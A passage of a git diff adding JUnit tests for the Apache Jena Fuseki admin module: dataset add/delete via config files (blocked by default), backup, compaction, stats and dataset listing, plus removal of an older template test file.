+import static org.apache.jena.http.HttpOp.httpGet;
+import static org.apache.jena.http.HttpOp.httpPost;
+import static org.junit.jupiter.api.Assumptions.assumeFalse;
+
+import java.io.FileNotFoundException;
+import java.net.http.HttpRequest.BodyPublisher;
+import java.net.http.HttpRequest.BodyPublishers;
+import java.nio.file.Path;
+import java.util.Objects;
+import java.util.function.Consumer;
+
+import org.apache.commons.lang3.SystemUtils;
+import org.apache.jena.atlas.io.IO;
+import org.apache.jena.atlas.logging.LogCtl;
+import org.apache.jena.atlas.web.TypedInputStream;
+import org.apache.jena.fuseki.Fuseki;
+import org.apache.jena.fuseki.main.FusekiServer;
+import org.apache.jena.fuseki.main.FusekiTestLib;
+import org.apache.jena.fuseki.main.sys.FusekiModules;
+import org.apache.jena.fuseki.mgt.FusekiAdmin;
+import org.apache.jena.fuseki.test.HttpTest;
+import org.apache.jena.riot.WebContent;
+import org.apache.jena.web.HttpSC;
+import org.junit.jupiter.api.AfterAll;
+import org.junit.jupiter.api.BeforeAll;
+import org.junit.jupiter.api.Test;
+
+/**
+ *  Tests of the admin functionality adding and deleting datasets dynamically.
+ *  See also {@link TestAdminAddDatasetTemplate}.
+ */
+public class TestAdminAddDatasetsConfigFile extends FusekiServerPerTest {
+    // Name of the dataset in the assembler file.
+    static String dsTest      = "test-ds1";
+    static String dsTestInf   = "test-ds4";
+
+    static final String dsTestTdb2a = "test-tdb2a";
+    static final String dsTestTdb2b = "test-tdb2b";
+    static final String dsTestTdb2c = "test-tdb2c";
+    static String fileBase    = "testing/Config/";
+
+    // Exactly the module under test
+    @Override
+    protected FusekiModules modulesSetup() {
+        return FusekiModules.create(FMod_Admin.create());
+    }
+
+    @BeforeAll public static void loggingAdmin() {
+        LogCtl.setLevel(Fuseki.adminLogName, "ERROR");
+    }
+
+    @AfterAll public static void resetLoggingAdmin() {
+        LogCtl.setLevel(Fuseki.adminLogName, "ERROR");
+    }
+
+    protected void withServerFileEnabled(Consumer<FusekiServer> action) {
+        System.setProperty(FusekiAdmin.allowConfigFileProperty, "true");
+        try {
+            super.withServer(null, action);
+        } finally {
+            System.getProperties().remove(FusekiAdmin.allowConfigFileProperty);
+        }
+    }
+
+    @Test public void add_block_dataset_1() {
+        // Blocked by default.
+        withServer(server -> {
+            FusekiTestLib.expect400(()->addTestDatasetByFile(server, "config-ds-plain-1.ttl"));
+        });
+    }
+
+    @Test public void add_unblocked_dataset_1() {
+        // Blocked by default.
+        withServerFileEnabled(server -> {
+            addTestDatasetByFile(server, "config-ds-plain-1.ttl");
+        });
+    }
+
+    // Try to add twice
+    @Test public void add_add_dataset_1() {
+        withServerFileEnabled(server -> {
+            checkNotThere(server, dsTest);
+
+            addTestDatasetByFile(server, "config-ds-plain-1.ttl");
+            checkExists(server, dsTest);
+
+            // Second try should fail.
+            FusekiTestLib.expect409(()->addTestDatasetByFile(server, "config-ds-plain-1.ttl"));
+
+            // Check still exists.
+            checkExists(server, dsTest);
+            // Delete-able.
+            deleteDataset(server, dsTest);
+            checkNotThere(server, dsTest);
+        });
+    }
+
+    @Test public void add_delete_dataset_1() {
+        withServerFileEnabled(server -> {
+
+            checkNotThere(server, dsTest);
+            checkNotThere(server, dsTestInf);
+            addTestDatasetByFile(server, "config-ds-inf.ttl");
+            checkNotThere(server, dsTest);
+            checkExists(server, dsTestInf);
+
+            deleteDataset(server, dsTestInf);
+
+            checkNotThere(server, dsTestInf);
+            addTestDatasetByFile(server, "config-ds-inf.ttl");
+            checkExists(server, dsTestInf);
+            deleteDataset(server, dsTestInf);
+        });
+    }
+
+    @Test public void add_delete_dataset_2() {
+        withServerFileEnabled(server -> {
+            // New style operations : cause two fuseki:names
+            addTestDatasetByFile(server, "config-ds-plain-2.ttl");
+            checkExists(server, "test-ds2");
+        });
+    }
+
+    @Test public void add_delete_dataset_TDB_1() {
+        withServerFileEnabled(server -> {
+
+            String testDB = dsTestTdb2a;
+            assumeNotWindows();
+
+            checkNotThere(server, testDB);
+
+            addTestDatasetTDB2(server, testDB);
+
+            // Check exists.
+            checkExists(server, testDB);
+
+            // Remove it.
+            deleteDataset(server, testDB);
+            checkNotThere(server, testDB);
+        });
+    }
+
+    @Test public void add_delete_dataset_TDB_2() {
+        withServerFileEnabled(server -> {
+            // This has location "--mem--"
+            String testDB = dsTestTdb2b;
+            checkNotThere(server, testDB);
+            addTestDatasetTDB2(server, testDB);
+            // Check exists.
+            checkExists(server, testDB);
+            // Remove it.
+            deleteDataset(server, testDB);
+            checkNotThere(server, testDB);
+        });
+    }
+
+    @Test public void add_dataset_error_1() {
+        withServerFileEnabled(server -> {
+            HttpTest.execWithHttpException(HttpSC.BAD_REQUEST_400,
+                                           ()-> addTestDatasetByFile(server, "config-ds-bad-name-1.ttl"));
+        });
+    }
+
+    @Test public void add_dataset_error_2() {
+        withServerFileEnabled(server -> {
+            HttpTest.execWithHttpException(HttpSC.BAD_REQUEST_400,
+                                           ()-> addTestDatasetByFile(server, "config-ds-bad-name-2.ttl"));
+        });
+    }
+
+    @Test public void add_dataset_error_3() {
+        withServerFileEnabled(server -> {
+            HttpTest.execWithHttpException(HttpSC.BAD_REQUEST_400,
+                                           ()-> addTestDatasetByFile(server, "config-ds-bad-name-3.ttl"));
+        });
+    }
+
+    @Test public void add_dataset_error_4() {
+        withServerFileEnabled(server -> {
+            HttpTest.execWithHttpException(HttpSC.BAD_REQUEST_400,
+                                           ()-> addTestDatasetByFile(server, "config-ds-bad-name-4.ttl"));
+        });
+    }
+
+    @Test public void add_dataset_error_5() {
+        withServerFileEnabled(server -> {
+            HttpTest.execWithHttpException(HttpSC.BAD_REQUEST_400,
+                                           ()-> addTestDatasetBodyPublisher(server, BodyPublishers.noBody()));
+        });
+    }
+
+    @Test public void add_dataset_error_6() {
+        withServerFileEnabled(server -> {
+            HttpTest.execWithHttpException(HttpSC.BAD_REQUEST_400,
+                                           ()-> addTestDatasetBodyPublisher(server, BodyPublishers.ofString("")));
+        });
+    }
+
+    @Test public void add_dataset_error_7() {
+        withServerFileEnabled(server -> {
+            String level = LogCtl.getLevel(Fuseki.adminLog);
+            LogCtl.setLevel(Fuseki.adminLog, "FATAL");
+            HttpTest.execWithHttpException(HttpSC.BAD_REQUEST_400,
+                                           ()-> addTestDatasetBodyPublisher(server, BodyPublishers.ofString("JUNK")));
+            LogCtl.setLevel(Fuseki.adminLog, level);
+        });
+    }
+
+    @Test public void add_dataset_error_8() {
+        withServerFileEnabled(server -> {
+            String level = LogCtl.getLevel(Fuseki.adminLog);
+            LogCtl.setLevel(Fuseki.adminLog, "FATAL");
+            HttpTest.execWithHttpException(HttpSC.BAD_REQUEST_400,
+                                           ()-> addTestDatasetTDB2(server, dsTestTdb2c));
+            LogCtl.setLevel(Fuseki.adminLog, level);
+        });
+    }
+
+    @Test public void delete_dataset_1() {
+        withServerFileEnabled(server -> {
+            String name = "NoSuchDataset";
+            HttpTest.expect404( ()-> httpDelete(server.serverURL()+"$/"+opDatasets+"/"+name) );
+        });
+    }
+
+    // ---- Backup
+
+    private void assumeNotWindows() {
+        assumeFalse(SystemUtils.IS_OS_WINDOWS, "Test may be unstable on Windows due to inability to delete memory-mapped files");
+    }
+
+    private void deleteDataset(FusekiServer server, String name) {
+        httpDelete(server.serverURL()+"$/"+opDatasets+"/"+name);
+    }
+
+    private void addTestDatasetWithName(FusekiServer server, String dsName) {
+        addTestDatasetWithName(server, dsName, "mem");
+    }
+
+    private void addTestDatasetWithName(FusekiServer server, String dsName, String dbType) {
+        String URL = server.serverURL()+"$/"+opDatasets+"?dbName="+dsName+"&dbType="+dbType;
+        String ct = WebContent.contentTypeTurtle;
+        httpPost(URL);
+    }
+
+    private void addTestDatasetTDB2(FusekiServer server, String DBname) {
+        Objects.nonNull(DBname);
+        switch(DBname) {
+            case dsTestTdb2a-> addTestDatasetByFile(server, "config-tdb2a.ttl");
+            case dsTestTdb2b-> addTestDatasetByFile(server, "config-tdb2b.ttl");
+            case dsTestTdb2c-> addTestDatasetByFile(server, "config-tdb2c.ttl");
+            default->throw new IllegalArgumentException("No configuration for "+DBname);
+        }
+    }
+
+    private void addTestDatasetByFile(FusekiServer server, String filename) {
+        try {
+            Path f = Path.of(fileBase+filename);
+            BodyPublisher body = BodyPublishers.ofFile(f);
+            addTestDatasetBodyPublisher(server, body);
+        } catch (FileNotFoundException e) {
+            IO.exception(e);
+        }
+    }
+
+    private void addTestDatasetBodyPublisher(FusekiServer server, BodyPublisher body) {
+        String ct = WebContent.contentTypeTurtle;
+        httpPost(server.serverURL()+"$/"+opDatasets, ct, body);
+    }
+
+    private void askPing(FusekiServer server, String name) {
+        if ( name.startsWith("/") )
+            name = name.substring(1);
+        try ( TypedInputStream in = httpGet(server.serverURL()+name+"/sparql?query=ASK%7B%7D") ) {
+            IO.skipToEnd(in);
+        }
+    }
+
+    private void adminPing(FusekiServer server, String name) {
+        try ( TypedInputStream in = httpGet(server.serverURL()+"$/"+opDatasets+"/"+name) ) {
+            IO.skipToEnd(in);
+        }
+    }
+
+    private void checkExists(FusekiServer server, String name)  {
+        adminPing(server, name);
+        askPing(server, name);
+    }
+
+    private void checkNotThere(FusekiServer server, String name) {
+        String n = (name.startsWith("/")) ? name.substring(1) : name;
+        // Check gone exists.
+        HttpTest.expect404(()->  adminPing(server, n));
+        HttpTest.expect404(() -> askPing(server, n));
+    }
+}
diff --git a/jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/TestAdminDatabaseOps.java b/jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/TestAdminDatabaseOps.java
new file mode 100644
index 00000000000..20f7a7e6e45
--- /dev/null
+++ b/jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/TestAdminDatabaseOps.java
@@ -0,0 +1,484 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package org.apache.jena.fuseki.mod.admin;
+
+import static org.apache.jena.fuseki.mgt.ServerMgtConst.opBackup;
+import static org.apache.jena.fuseki.mgt.ServerMgtConst.opCompact;
+import static org.apache.jena.fuseki.mgt.ServerMgtConst.opDatasets;
+import static org.apache.jena.fuseki.mgt.ServerMgtConst.opListBackups;
+import static org.apache.jena.fuseki.server.ServerConst.opStats;
+import static org.apache.jena.http.HttpOp.*;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.junit.jupiter.api.Assertions.fail;
+import static org.junit.jupiter.api.Assumptions.assumeFalse;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Objects;
+
+import org.apache.commons.lang3.SystemUtils;
+import org.apache.jena.atlas.io.IO;
+import org.apache.jena.atlas.json.JSON;
+import org.apache.jena.atlas.json.JsonArray;
+import org.apache.jena.atlas.json.JsonObject;
+import org.apache.jena.atlas.json.JsonValue;
+import org.apache.jena.atlas.lib.Lib;
+import org.apache.jena.atlas.web.TypedInputStream;
+import org.apache.jena.fuseki.ctl.JsonConstCtl;
+import org.apache.jena.fuseki.main.FusekiServer;
+import org.apache.jena.fuseki.main.sys.FusekiModules;
+import org.apache.jena.fuseki.system.FusekiLogging;
+import org.apache.jena.fuseki.test.HttpTest;
+import org.apache.jena.riot.WebContent;
+import org.apache.jena.sparql.core.DatasetGraphFactory;
+import org.junit.jupiter.api.BeforeAll;
+import org.junit.jupiter.api.Test;
+
+/**
+ *  Tests of the admin functionality adding and deleting datasets dynamically.
+ *  See also {@link TestAdminAddDatasetTemplate}.
+ */
+public class TestAdminDatabaseOps extends FusekiServerPerTest {
+    // Name of the dataset in the assembler file.
+    private static String dsTest      = "test-ds1";
+
+    @BeforeAll public static void logging() {
+        FusekiLogging.setLogging();
+    }
+
+    @Override
+    protected FusekiModules modulesSetup() {
+        return FusekiModules.create(FMod_Admin.create());
+    }
+
+    @Override
+    protected void customizerServer(FusekiServer.Builder builder) {
+        builder.add(datasetName(), DatasetGraphFactory.createTxnMem());
+    }
+
+    private String datasetName() {
+        return "dsg";
+    }
+
+    // ---- Backup
+
+    @Test public void create_backup_1() {
+        withServer(server -> {
+            String id = null;
+            try {
+                JsonValue v = httpPostRtnJSON(server.serverURL() + "$/" + opBackup + "/" + datasetName());
+                id = v.getAsObject().getString("taskId");
+            } finally {
+                waitForTasksToFinish(server, 1000, 10, 20000);
+            }
+            assertNotNull(id);
+            checkInTasks(server, id);
+
+            // Check a backup was created
+            try ( TypedInputStream in = httpGet(server.serverURL()+"$/"+opListBackups) ) {
+                assertEqualsContectType(WebContent.contentTypeJSON, in.getContentType());
+                JsonValue v = JSON.parseAny(in);
+                assertNotNull(v.getAsObject().get("backups"));
+                JsonArray a = v.getAsObject().get("backups").getAsArray();
+                assertEquals(1, a.size());
+            }
+
+            JsonValue task = getTask(server, id);
+            assertNotNull(id);
+            // Expect task success
+            assertTrue(task.getAsObject().getBoolean(JsonConstCtl.success), "Expected task to be marked as successful");
+        });
+    }
+
+    @Test public void create_backup_2() {
+        withServer(server -> {
+            HttpTest.expect400(()->{
+                JsonValue v = httpPostRtnJSON(server.serverURL() + "$/" + opBackup + "/noSuchDataset");
+            });
+        });
+    }
+
+    @Test public void list_backups_1() {
+        withServer(server -> {
+            try ( TypedInputStream in = httpGet(server.serverURL()+"$/"+opListBackups) ) {
+                assertEqualsContectType(WebContent.contentTypeJSON, in.getContentType());
+                JsonValue v = JSON.parseAny(in);
+                assertNotNull(v.getAsObject().get("backups"));
+            }
+        });
+    }
+
+    // ---- Compact
+
+    @Test public void compact_01() {
+        withServer(server -> {
+            assumeNotWindows();
+
+            String testDB = "dsg-tdb2";
+            try {
+                checkNotThere(server, testDB);
+                addTestDatasetTDB2(server, testDB);
+                checkExists(server, testDB);
+
+                String id = null;
+                try {
+                    JsonValue v = httpPostRtnJSON(server.serverURL() + "$/" + opCompact + "/" + testDB);
+                    id = v.getAsObject().getString(JsonConstCtl.taskId);
+                } finally {
+                    waitForTasksToFinish(server, 1000, 500, 20_000);
+                }
+                assertNotNull(id);
+                checkInTasks(server, id);
+
+                JsonValue task = getTask(server, id);
+                // ----
+                // The result assertion is throwing NPE occasionally on some heavily loaded CI servers.
+                // This may be because of server or test code encountering a very long wait.
+                // These next statements check the assumed structure of the return.
+                assertNotNull(task, "Task value");
+                JsonObject obj = task.getAsObject();
+                assertNotNull(obj, "Task.getAsObject()");
+                // Provoke code to get a stacktrace.
+                obj.getBoolean(JsonConstCtl.success);
+                // ----
+                // The assertion we really wanted to check.
+                // Check task success
+                assertTrue(task.getAsObject().getBoolean(JsonConstCtl.success),
+                        "Expected task to be marked as successful");
+            } finally {
+                deleteDataset(server, testDB);
+            }
+        });
+    }
+
+    @Test public void compact_02() {
+        withServer(server -> {
+            HttpTest.expect400(()->{
+                JsonValue v = httpPostRtnJSON(server.serverURL() + "$/" + opCompact + "/noSuchDataset");
+            });
+        });
+    }
+
+    private void assumeNotWindows() {
+        assumeFalse(SystemUtils.IS_OS_WINDOWS, "Test may be unstable on Windows due to inability to delete memory-mapped files");
+    }
+
+    // ---- Server
+
+    // ---- Stats
+
+    @Test public void stats_1() {
+        withServer(server -> {
+            JsonValue v = execGetJSON(server.serverURL()+"$/"+opStats);
+            checkJsonStatsAll(v);
+        });
+    }
+
+    @Test public void stats_2() {
+        withServer(server -> {
+            addTestDatasetWithName(server, dsTest);
+            JsonValue v = execGetJSON(server.serverURL()+"$/"+opStats+"/"+dsTest);
+            checkJsonStatsAll(v);
+            deleteDataset(server, dsTest);
+        });
+    }
+
+    @Test public void stats_3() {
+        withServer(server -> {
+            addTestDatasetWithName(server, dsTest);
+            HttpTest.expect404(()-> execGetJSON(server.serverURL()+"$/"+opStats+"/DoesNotExist"));
+            deleteDataset(server, dsTest);
+        });
+    }
+
+    @Test public void stats_4() {
+        withServer(server -> {
+            JsonValue v = execPostJSON(server.serverURL()+"$/"+opStats);
+            checkJsonStatsAll(v);
+        });
+    }
+
+    @Test public void stats_5() {
+        withServer(server -> {
+            addTestDatasetWithName(server, dsTest);
+            JsonValue v = execPostJSON(server.serverURL()+"$/"+opStats+"/"+dsTest);
+            checkJsonStatsAll(v);
+            deleteDataset(server, dsTest);
+        });
+    }
+
+    // --- List all datasets
+
+    @Test public void list_datasets_1() {
+        withServer(server->{
+            try ( TypedInputStream in = httpGet(urlRoot(server)+"$/"+opDatasets); ) {
+                IO.skipToEnd(in);
+            }
+        });
+    }
+
+    @Test public void list_datasets_2() {
+        withServer(server->{
+            try ( TypedInputStream in = httpGet(urlRoot(server)+"$/"+opDatasets) ) {
+                assertEqualsContentType(WebContent.contentTypeJSON, in.getContentType());
+                JsonValue v = JSON.parseAny(in);
+                assertNotNull(v.getAsObject().get("datasets"));
+                checkJsonDatasetsAll(v);
+            }
+        });
+    }
+
+    // Specific dataset
+    @Test public void list_datasets_3() {
+        withServer( server->checkExists(server, datasetName()) );
+    }
+
+    // Specific dataset
+    @Test public void list_datasets_4() {
+        withServer( server->{
+            HttpTest.expect404( () -> getDatasetDescription(server, "does-not-exist") );
+        });
+    }
+
+    // Specific dataset
+    @Test public void list_datasets_5() {
+        withServer( server->{
+            JsonValue v = getDatasetDescription(server, datasetName());
+            checkJsonDatasetsOne(v.getAsObject());
+        });
+    }
+
+    private String urlRoot(FusekiServer server) {
+        return server.serverURL();
+    }
+
+    private void deleteDataset(FusekiServer server, String name) {
+        httpDelete(server.serverURL()+"$/"+opDatasets+"/"+name);
+    }
+
+    private JsonValue getTask(FusekiServer server, String taskId) {
+        String url = server.serverURL()+"$/tasks/"+taskId;
+        return httpGetJson(url);
+    }
+
+    private JsonValue getDatasetDescription(FusekiServer server, String dsName) {
+        if ( dsName.startsWith("/") )
+            dsName = dsName.substring(1);
+        try (TypedInputStream in = httpGet(server.serverURL() + "$/" + opDatasets + "/" + dsName)) {
+            assertEqualsContectType(WebContent.contentTypeJSON, in.getContentType());
+            JsonValue v = JSON.parse(in);
+            return v;
+        }
+    }
+
+    private void addTestDatasetWithName(FusekiServer server, String dsName) {
+        addTestDatasetWithName(server, dsName, "mem");
+    }
+
+    private void addTestDatasetWithName(FusekiServer server, String dsName, String dbType) {
+        String URL = server.serverURL()+"$/"+opDatasets+"?dbName="+dsName+"&dbType="+dbType;
+        String ct = WebContent.contentTypeTurtle;
+        httpPost(URL);
+    }
+
+    private void addTestDatasetTDB2(FusekiServer server, String DBname) {
+        Objects.nonNull(DBname);
+        addTestDatasetWithName(server, DBname, "TDB2");
+    }
+
+    private void checkTask(FusekiServer server, JsonValue v) {
+        assertNotNull(v);
+        assertTrue(v.isObject());
+        // System.out.println(v);
+        JsonObject obj = v.getAsObject();
+        try {
+            assertTrue(obj.hasKey("task"));
+            assertTrue(obj.hasKey("taskId"));
+            // Not present until it runs : "started"
+        } catch (AssertionError ex) {
+            System.out.println(obj);
+            throw ex;
+        }
+    }
+
+    private void checkInTasks(FusekiServer server, String x) {
+        String url = server.serverURL()+"$/tasks";
+        JsonValue v = httpGetJson(url);
+        assertTrue(v.isArray());
+        JsonArray array = v.getAsArray();
+        int found = 0;
+        for ( int i = 0; i < array.size(); i++ ) {
+            JsonValue jv = array.get(i);
+            assertTrue(jv.isObject());
+            JsonObject obj = jv.getAsObject();
+            checkTask(server, obj);
+            if ( obj.getString("taskId").equals(x) ) {
+                found++;
+            }
+        }
+        assertEquals(1, found, "Occurrence of taskId count");
+    }
+
+    private List<String> runningTasks(FusekiServer server, String... x) {
+        String url = server.serverURL()+"$/tasks";
+        JsonValue v = httpGetJson(url);
+        assertTrue(v.isArray());
+        JsonArray array = v.getAsArray();
+        List<String> running = new ArrayList<>();
+        for ( int i = 0; i < array.size(); i++ ) {
+            JsonValue jv = array.get(i);
+            assertTrue(jv.isObject());
+            JsonObject obj = jv.getAsObject();
+            if ( isRunning(server, obj) )
+                running.add(obj.getString("taskId"));
+        }
+        return running;
+    }
+
+    /**
+     * Wait for tasks to all finish.
+     * Algorithm: wait for {@code pause}, then start polling for upto {@code maxWaitMillis}.
+     * Intervals in milliseconds.
+     * @param pauseMillis
+     * @param pollInterval
+     * @param maxWaitMillis
+     * @return
+     */
+    private boolean waitForTasksToFinish(FusekiServer server, int pauseMillis, int pollInterval, int maxWaitMillis) {
+        // Wait for them to finish.
+        // Divide into chunks
+        if ( pauseMillis > 0 )
+            Lib.sleep(pauseMillis);
+        long start = System.currentTimeMillis();
+        long endTime = start + maxWaitMillis;
+        final int intervals = maxWaitMillis/pollInterval;
+        long now = start;
+        for (int i = 0 ; i < intervals ; i++ ) {
+            // May have waited (much) longer than the pollInterval : heavily loaded build systems.
+            if ( now-start > maxWaitMillis )
+                break;
+            List<String> x = runningTasks(server);
+            if ( x.isEmpty() )
+                return true;
+            Lib.sleep(pollInterval);
+            now = System.currentTimeMillis();
+        }
+        return false;
+    }
+
+    private boolean isRunning(FusekiServer server, JsonObject taskObj) {
+        checkTask(server, taskObj);
+        return taskObj.hasKey("started") &&  ! taskObj.hasKey("finished");
+    }
+
+    private void askPing(FusekiServer server, String name) {
+        if ( name.startsWith("/") )
+            name = name.substring(1);
+        try ( TypedInputStream in = httpGet(server.serverURL()+name+"/sparql?query=ASK%7B%7D") ) {
+            IO.skipToEnd(in);
+        }
+    }
+
+    private void adminPing(FusekiServer server, String name) {
+        try ( TypedInputStream in = httpGet(server.serverURL()+"$/"+opDatasets+"/"+name) ) {
+            IO.skipToEnd(in);
+        }
+    }
+
+    private void checkExists(FusekiServer server, String name)  {
+        adminPing(server, name);
+        askPing(server, name);
+    }
+
+    private void checkNotThere(FusekiServer server, String name) {
+        String n = (name.startsWith("/")) ? name.substring(1) : name;
+        // Check gone exists.
+        HttpTest.expect404(()->  adminPing(server, n));
+        HttpTest.expect404(() -> askPing(server, n));
+    }
+
+    private void checkJsonStatsAll(JsonValue v) {
+        assertNotNull(v.getAsObject().get("datasets"));
+        JsonObject a = v.getAsObject().get("datasets").getAsObject();
+        for ( String dsname : a.keys() ) {
+            JsonValue obj = a.get(dsname).getAsObject();
+            checkJsonStatsOne(obj);
+        }
+    }
+
+    private void checkJsonStatsOne(JsonValue v) {
+        checkJsonStatsCounters(v);
+        JsonObject obj1 = v.getAsObject().get("endpoints").getAsObject();
+        for ( String srvName : obj1.keys() ) {
+            JsonObject obj2 = obj1.get(srvName).getAsObject();
+            assertTrue(obj2.hasKey("description"));
+            assertTrue(obj2.hasKey("operation"));
+            checkJsonStatsCounters(obj2);
+        }
+    }
+
+    private void checkJsonStatsCounters(JsonValue v) {
+        JsonObject obj = v.getAsObject();
+        assertTrue(obj.hasKey("Requests"));
+        assertTrue(obj.hasKey("RequestsGood"));
+        assertTrue(obj.hasKey("RequestsBad"));
+    }
+
+    private JsonValue execGetJSON(String url) {
+        try ( TypedInputStream in = httpGet(url) ) {
+            assertEqualsContectType(WebContent.contentTypeJSON, in.getContentType());
+            return JSON.parse(in);
+        }
+    }
+
+    private static void checkJsonDatasetsAll(JsonValue v) {
+        assertNotNull(v.getAsObject().get("datasets"));
+        JsonArray a = v.getAsObject().get("datasets").getAsArray();
+        for ( JsonValue v2 : a )
+            checkJsonDatasetsOne(v2);
+    }
+
+    private static void checkJsonDatasetsOne(JsonValue v) {
+        assertTrue(v.isObject());
+        JsonObject obj = v.getAsObject();
+        assertNotNull(obj.get("ds.name"));
+        assertNotNull(obj.get("ds.services"));
+        assertNotNull(obj.get("ds.state"));
+        assertTrue(obj.get("ds.services").isArray());
+    }
+
+    private JsonValue execPostJSON(String url) {
+        try ( TypedInputStream in = httpPostStream(url, null, null, null) ) {
+            assertEqualsContectType(WebContent.contentTypeJSON, in.getContentType());
+            return JSON.parse(in);
+        }
+    }
+
+    /** Expect two string to be non-null and be {@link String#equalsIgnoreCase} */
+    private static void assertEqualsContentType(String expected, String actual) {
+        if ( expected == null && actual == null )
+            return;
+        if ( expected == null || actual == null )
+            fail("Expected: "+expected+" Got: "+actual);
+        if ( ! expected.equalsIgnoreCase(actual) )
+            fail("Expected: "+expected+" Got: "+actual);
+    }
+}
diff --git a/jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/TestTemplateAddDataset.java b/jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/TestTemplateAddDataset.java
deleted file mode 100644
index c69e2b28fe7..00000000000
--- a/jena-fuseki2/jena-fuseki-main/src/test/java/org/apache/jena/fuseki/mod/admin/TestTemplateAddDataset.java
+++ /dev/null
@@ -1,183 +0,0 @@
-/*
- * Licensed to the Apache Software Foundation (ASF) under one
- * or more contributor license agreements.  See the NOTICE file
- * distributed with this work for additional information
- * regarding copyright ownership.  The ASF licenses this file
- * to you under the Apache License, Version 2.0 (the
- * "License"); you may not use this file except in compliance
- * with the License.  You may obtain a copy of the License at
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package org.apache.jena.fuseki.mod.admin;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertFalse;
-import static org.junit.jupiter.api.Assertions.assertThrows;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-
-import java.nio.file.Files;
-import java.nio.file.Path;
-import java.util.concurrent.TimeUnit;
-
-import org.junit.jupiter.api.*;
-
-import org.apache.jena.atlas.lib.FileOps;
-import org.apache.jena.atlas.logging.LogCtl;
-import org.apache.jena.atlas.web.HttpException;
-import org.apache.jena.atlas.web.TypedInputStream;
-import org.apache.jena.fuseki.Fuseki;
-import org.apache.jena.fuseki.main.FusekiServer;
-import org.apache.jena.fuseki.main.sys.FusekiModules;
-import org.apache.jena.fuseki.mgt.FusekiServerCtl;
-import org.apache.jena.http.HttpOp;
-import org.apache.jena.query.QueryExecution;
-import org.apache.jena.rdfconnection.RDFConnection;
-import org.apache.jena.sparql.core.DatasetGraph;
-import org.apache.jena.sparql.core.DatasetGraphFactory;
-import org.apache.jena.sparql.exec.http.Params;
-import org.apache.jena.web.HttpSC;
-import org.awaitility.Awaitility;
-
-/**
- * Tests of the admin functionality on an empty server and using the template mechanism.
- * See also {@link TestAdmin}.
- */
-public class TestTemplateAddDataset {
-
-    // One server for all tests
-    private static String serverURL = null;
-    private static FusekiServer server = null;
-
-    @BeforeAll public static void startServer() {
-        System.setProperty("FUSEKI_BASE", "target/run");
-        FileOps.clearAll("target/run");
-
-        server = createServerForTest();
-        serverURL = server.serverURL();
-    }
-
-    // Exactly the module under test
-    private static FusekiModules moduleSetup() {
-        return FusekiModules.create(FMod_Admin.create());
-    }
-
-    private static FusekiServer createServerForTest() {
-        FusekiModules modules = moduleSetup();
-        DatasetGraph dsg = DatasetGraphFactory.createTxnMem();
-        FusekiServer testServer = FusekiServer.create()
-                .fusekiModules(modules)
-                .port(0)
-                .build()
-                .start();
-        return testServer;
-    }
-
-    @AfterAll public static void stopServer() {
-        if ( server != null )
-            server.stop();
-        serverURL = null;
-        // Clearup FMod_Shiro.
-        FusekiServerCtl.clearUpSystemState();
-    }
-
-    protected String urlRoot() {
-        return serverURL;
-    }
-
-    protected String adminURL() {
-        return serverURL+"$/";
-    }
-
-    @BeforeEach public void setLogging() {
-        LogCtl.setLevel(Fuseki.backupLogName, "ERROR");
-        LogCtl.setLevel(Fuseki.compactLogName,"ERROR");
-        Awaitility.setDefaultPollDelay(20,TimeUnit.MILLISECONDS);
-        Awaitility.setDefaultPollInterval(50,TimeUnit.MILLISECONDS);
-    }
-
-    @AfterEach public void unsetLogging() {
-        LogCtl.setLevel(Fuseki.backupLogName, "WARN");
-        LogCtl.setLevel(Fuseki.compactLogName,"WARN");
-    }
-
-    @Order(value = 1)
-    @Test public void add_delete_api_1() throws Exception {
-        if ( org.apache.jena.tdb1.sys.SystemTDB.isWindows )
-            return;
-        testAddDelete("db_mem", "mem", false, false);
-    }
-
-    @Order(value = 2)
-    @Test public void add_delete_api_2() throws Exception {
-        if ( org.apache.jena.tdb1.sys.SystemTDB.isWindows )
-            return;
-        // This should fail.
-        HttpException ex = assertThrows(HttpException.class, ()->testAddDelete("db_mem", "mem", true, false));
-        // 409 conflict - "a request conflicts with the current state of the target resource."
-        // and the target resource is the container "/$/datasets"
-        assertEquals(HttpSC.CONFLICT_409, ex.getStatusCode());
-    }
-
-    private void testAddDelete(String dbName, String dbType, boolean alreadyExists, boolean hasFiles) {
-        String datasetURL = server.datasetURL(dbName);
-        Params params = Params.create().add("dbName", dbName).add("dbType", dbType);
-
-        if ( alreadyExists )
-            assertTrue(exists(datasetURL));
-        else
-            assertFalse(exists(datasetURL));
-
-        // Use the template
-        HttpOp.httpPostForm(adminURL()+"datasets", params);
-
-        RDFConnection conn = RDFConnection.connect(server.datasetURL(dbName));
-        conn.update("INSERT DATA { <x:s> <x:p> 123 }");
-        int x1 = count(conn);
-        assertEquals(1, x1);
-
-        Path pathDB = FusekiServerCtl.dirDatabases.resolve(dbName);
-
-        if ( hasFiles )
